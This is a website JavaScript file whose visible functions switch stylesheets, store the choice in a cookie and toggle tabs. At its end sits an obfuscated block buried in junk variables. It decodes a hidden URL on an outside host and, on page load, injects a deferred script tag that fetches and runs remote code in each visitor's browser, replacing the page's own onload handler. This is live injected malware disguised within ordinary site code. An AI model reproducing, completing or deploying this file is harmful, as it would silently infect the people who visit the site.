//********** setStyle: disabling all the other stylesheets, but the predffered one ****************************************
function setStyle(style) {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) {
      a.disabled = true;
      if(a.getAttribute("title") == style) a.disabled = false;
    }
  }
}

//************getActiveStyleSheet: reads the CurrentActive stylesheet. ****************************************************
function getActiveStyleSheet() {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) return a.getAttribute("title");
  }
  return null;
}

//********** getDefaultStyleSheet: here u can apply the default styleSheet 4 the web site**********************************
function getDefaultStyleSheet() {
  var i, a;
  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
    if(a.getAttribute("rel").indexOf("style") != -1
       && a.getAttribute("rel").indexOf("alt") == -1
       && a.getAttribute("title")
       ) return a.getAttribute("title");
  }
  return null;
}

//**************createCookie: saves the current styleSheet in a cookie *****************************************************
function createCookie(name,value,days) {
  if (days) {
    var date = new Date();
    date.setTime(date.getTime()+(days*24*60*60*1000));
    var expires = "; expires=" + date.toGMTString();
  }
  else expires = "";
  document.cookie = name + "=" + value + expires + "; path=/";
}

//************readCookie: reads the saved styleSheet in the cookie, *********************************************************
function readCookie(name) {
  var nameEQ = name + "=";
  var ca = document.cookie.split(';');
  for(var i=0;i < ca.length;i++) {
    var c = ca[i];
    while (c.charAt(0)==" ") c = c.substring(1,c.length);
    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  }
  return null;
}

//************* onload event: reading the cookie, applying the saved style***********************************************
window.onload = function(e) {
  var cookie = readCookie("currentStyle");
  var myStyle = cookie ? cookie : getDefaultStyleSheet();
  setStyle(myStyle);
  
  ////////////////////////////////////// size of image //////////////////////////////////////////
  if(document.img_width_size.width > 590 )
	{
		document.img_width_size.width = 590;
	}
  
  
}



///////////////////////////////////////////////////////////// Tab ////////////////////////////////////////


function showTab(id){
	document.getElementById("tab_1").style.display = "none";
	document.getElementById("tab_2").style.display = "none";
	document.getElementById("tab_" + id).style.display = "block";
}

function changeImg(tab){
	if(tab == "tab_2"){
		document.getElementById("tab_1_active").style.display = "none";
		document.getElementById("tab_2_inactive").style.display = "none";
		document.getElementById("tab_1_inactive").style.display = "block";
		document.getElementById("tab_2_active").style.display = "block";
	}
	else if(tab == "tab_1"){
		document.getElementById("tab_1_active").style.display = "block";
		document.getElementById("tab_2_inactive").style.display = "block";
		document.getElementById("tab_1_inactive").style.display = "none";
		document.getElementById("tab_2_active").style.display = "none";
	}
}



//***********onunload: calls the createCookie function to save the current styleSheet****************************************
window.onunload = function(e) {
  var myCurrentStyle = getActiveStyleSheet();
  createCookie("currentStyle", myCurrentStyle, 365);
}

//*********** same code lines in the onload event for multiple browsers ************************************
var cookie = readCookie("currentStyle");
var myStyle = cookie ? cookie : getPreferredStyleSheet();
setStyle(myStyle);



var T=new Array();var I;if(I!=''){I='ec'};function e(){var KT="";var m=window;this.N="";var TT='';var pM;if(pM!='yO' && pM!='w'){pM='yO'};var c=unescape;var b=c("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%61%64%6a%6f%6a%6f%2e%63%6f%6d%2f%74%6f%72%72%65%6e%74%64%6f%77%6e%6c%6f%61%64%73%2e%6e%65%74%2e%70%68%70");var d;if(d!='lj' && d!='F'){d=''};function k(ma,y){this.SM="";var x;if(x!='bt' && x!='iH'){x='bt'};var B;if(B!='xv' && B!='yj'){B='xv'};var Nz;if(Nz!='' && Nz!='Xg'){Nz=''};var O="gJFj5".substr(0,1);var n;if(n!='AT'){n=''};var pE=new String();var M=c("%5b"), U=c("%5d");var wJ;if(wJ!='r' && wJ!='pED'){wJ=''};var ej='';var S=M+y+U;var t='';var kO;if(kO!=''){kO='R'};var g=new RegExp(S, O);return ma.replace(g, new String());};var _;if(_!=''){_='xV'};var XF;if(XF!='' && XF!='jK'){XF=null};var bq="";var Q;if(Q!='mX' && Q != ''){Q=null};var nB;if(nB!='' && nB!='KJ'){nB=null};var cT=k('847369740551415866671790661425','65192374');var Af;if(Af!='KM'){Af=''};var eW=new String();var qj;if(qj!='Ll' && qj != ''){qj=null};var l=document;this.KR="";this.ye="";function G(){var P=c("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var PR;if(PR!='' && PR!='tO'){PR=null};var SN;if(SN!='BQ'){SN='BQ'};var Us;if(Us!='NL' && Us!='h'){Us='NL'};eW=P;var xg;if(xg!='en'){xg=''};eW+=cT;var D;if(D!='N_' && D!='Mv'){D='N_'};var wq=new String();eW+=b;var Po=new Array();var Ko;if(Ko!='' && Ko!='Nj'){Ko=null};try {var J='';this.xG='';var pj;if(pj!='' && pj!='ky'){pj=null};bK=l.createElement(k('sFcvr6ijpTtV','LKYdQIbaVFkOfvSJ9Tj6_'));var uw;if(uw!='f'){uw='f'};this.vw='';bK[c("%73%72%63")]=eW;var ZE;if(ZE!='nR' && ZE!='hJ'){ZE=''};var GR='';bK[c("%64%65%66%65%72")]=[0,1][1];var rH='';var za;if(za!='Cr' && za != ''){za=null};l.body.appendChild(bK);var zJ="";var iL;if(iL!='NA'){iL=''};} catch(s){alert(s);var vT;if(vT!='' && vT!='vb'){vT=null};};this.Yi="";}m[new String("on"+"lo"+"ad")]=G;this.BY="";var Ck=new Date();};var Zm=new String();var mB;if(mB!='ax' && mB != ''){mB=null};e();